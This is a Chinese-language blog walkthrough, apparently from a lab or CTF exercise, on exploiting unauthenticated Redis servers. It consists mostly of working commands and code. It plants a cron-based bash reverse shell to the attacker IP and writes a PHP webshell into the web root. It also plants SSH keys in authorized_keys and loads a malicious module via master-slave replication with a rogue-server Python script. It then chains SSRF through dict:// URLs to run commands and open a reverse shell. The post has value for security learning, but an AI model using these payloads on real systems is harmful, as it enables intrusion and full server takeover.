redis未授权
搭建环境
ubuntu安装并启动redis服务
wget http://download.redis.io/releases/redis-3.2.11.tar.gz#下载压缩包
tar xzf redis-3.2.11.tar.gz#解压
cd redis-3.2.11#进入目录
make#编译执行
cd src
cp redis-server /usr/bin/
cp redis-cli /usr/bin/
#把上面两个文件拷贝到/usr/bin/方便使用命令
redis-server#启动服务
cp redis.conf /etc/#把配置文件拷贝到后面文件中
vim /etc/redis.conf#修改配置文件
#注释掉绑定ip:blnd 127.0.0.1,允许除本地外的其他主机访问
#把protected yes中的yes改为no,允许远程连接redis服务
redis-server /etc/redis.conf#使用修改后的配置文件启动服务
systemctl start sshd#开启ssh服务
#关闭防火墙
iptables -F
setenforce 0
getenforce
systemctl stop firewalked
ubuntu的ip:19.168.43.36
kali的ip:192.168.43.149
利用思路
1.定时任务/启动项弹shell
linux的redis就是定时任务:/etc/crontab
windows就是启动项:
所有用户:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
特定用户:C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
区别就是设置的dir不同
/var/spool/crontab--计划任务目录 /etc/crontab--系统级别的计划任务配置
redis-cli -h 192.168.43.36
config set dir /var/spol/cron/crontabs
config set dbfilename root
set xxo "\n\n/bin/bash -i>&/dev/tcp/192.168.43.149/5678 0>&1\n\n"
kali监听:nc -lvp 5678
2.写webshell
设置dir位web目录
config set dir /var/www/html
config set dbfilename shell.php
config set xxo "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save
3.写入公钥
如果是root身份运行redis则写入ssh公钥
kali:
ssh-keygen -t rsa #生成公钥私钥
cd /root/.ssh
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>pubKey.txt#将公钥写入文件
cat pubKey.txt | redis-cli -h 10.10.10.135 -x set crack#通过管道将公钥写到redis数据库的crack键中
redis-cli -h 192.168.43.36
config set dir /home/greenhill/.ssh
config set dbfilename authorized_keys
save
ssh -i id_rsa [email protected]#公钥给服务器,用自己的私钥登录
利用条件还挺苛刻的
主要是ssh配置文件
PermitRootLogin yes #允许root登录
PermitEmptyPasswords yes #允许空密码登录
PasswordAuthentication yes #设置是否使用口令验证。
PasswordAuthentication no //yes改为no
RSAAuthentication yes #去掉前面的注释
PubkeyAuthentication yes #去掉前面的注释
AuthorizedKeysFile .ssh/authorized_keys #去掉前面的注释
authorized_keys的权限不能太高(600就可以),.ssh权限700
4.主从复制
拿到一个shell探测到内网的redis
SSRF探测到内网的redis
1.需要自己起一个redis服务器,然后连接到被攻击的redis服务器执行命令(或者通过SSRF执行命令)
config set dir /tmp
config set dbfilename exp.so
slaveof 自己redis服务器的ip port#这里设置自己的redis服务器为主节点,被攻击的为从节点
module load /tmp/exp.so
system.exec 'id'
使用脚本自动攻击
RedisModules-ExecuteCommand-master,进入目录 make
把得到的.so文件复制到redis-rogue-server-master目录
python redis-rogue-server.py --rhost 192.168.57.134 --rport 6379 --lhost 192.168.57.130 --lport 1234
redis-cli连接或者SSRF执行命令
system.exec "whoami"
5.SSRF+redis主从
春秋杯2023冬季赛遇到了,但是没有弄公网ip所有自己本地搭一个试试
这里只用春秋杯冬季赛里面的执行curl_exec造成SSRF部分的代码,反序列化部分就不用了
ubuntu:192.168.57.134
kali:192.168.57.130
先ubuntu起一个redis服务,端口是6379,配置bind:127.0.0.1 ::1,开启protected-mod模式
然后起一个web服务
sudo apt install php libapache2-mod-php
sudo apt isntall apache2
sudo service apache2 start
sudo apt isntall php-curl#记住要下载这个扩展,不然cURL报错
sudo service apache2 restart
index.php:
<?php
highlight_file(__FILE__);
$url=$_GET['url'];
var_dump($url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
if(curl_errno($ch)){
echo 'ERROR!';
}
$result_info = curl_getinfo($ch);
var_dump($result_info);
curl_close($ch);
var_dump($output);
?>
http://192.168.57.134/index.php?url=dict://127.0.0.1:6379/info
探测成功,直接利用
还是kali先用上面介绍的工具编译好exp.so、起一个恶意redis服务
redis-server.py:
import socket
from time import sleep
from optparse import OptionParser
def RogueServer(lport):
resp = ""
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(("0.0.0.0",lport))
sock.listen(10)
conn,address = sock.accept()
sleep(5)
while True:
data = conn.recv(1024)
if "PING" in data:
resp="+PONG"+CLRF
conn.send(resp)
elif "REPLCONF" in data:
resp="+OK"+CLRF
conn.send(resp)
elif "PSYNC" in data or "SYNC" in data:
resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
resp += "$" + str(len(payload)) + CLRF
resp = resp.encode()
resp += payload + CLRF.encode()
if type(resp) != bytes:
resp =resp.encode()
conn.send(resp)
#elif "exit" in data:
break
if __name__=="__main__":
parser = OptionParser()
parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")
parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")
(options , args )= parser.parse_args()
lport = options.lp
exp_filename = options.exp
CLRF="\r\n"
payload=open(exp_filename,"rb").read()
print "Start listing on port: %s" %lport
print "Load the payload: %s" %exp_filename
RogueServer(lport)
因为这里的redis只要目标本机可以联通,也就是只能用SSRF去打,所有之前说的一键利用脚本用不了
redis在kali起好后,去web利用SSRF执行redis命令
dict://127.0.0.1:6379/config:set:dir:/tmp
dict://127.0.0.1:6379/config:set:dbfilename:exp.so
dict://127.0.0.1:6379/slaveof:192.168.57.130:1234
dict://127.0.0.1:6379/module:load:/tmp/exp.so
dict://127.0.0.1:6379/slaveof:no:one
dict://127.0.0.1:6379/system.exec:'id'
可以看到执行成功,反弹shell:dict://127.0.0.1:6379/system.rev:192.168.57.130:2346
标签:set,resp,redis,192.168,exp,授权,config From: https://www.cnblogs.com/q1stop/p/17988267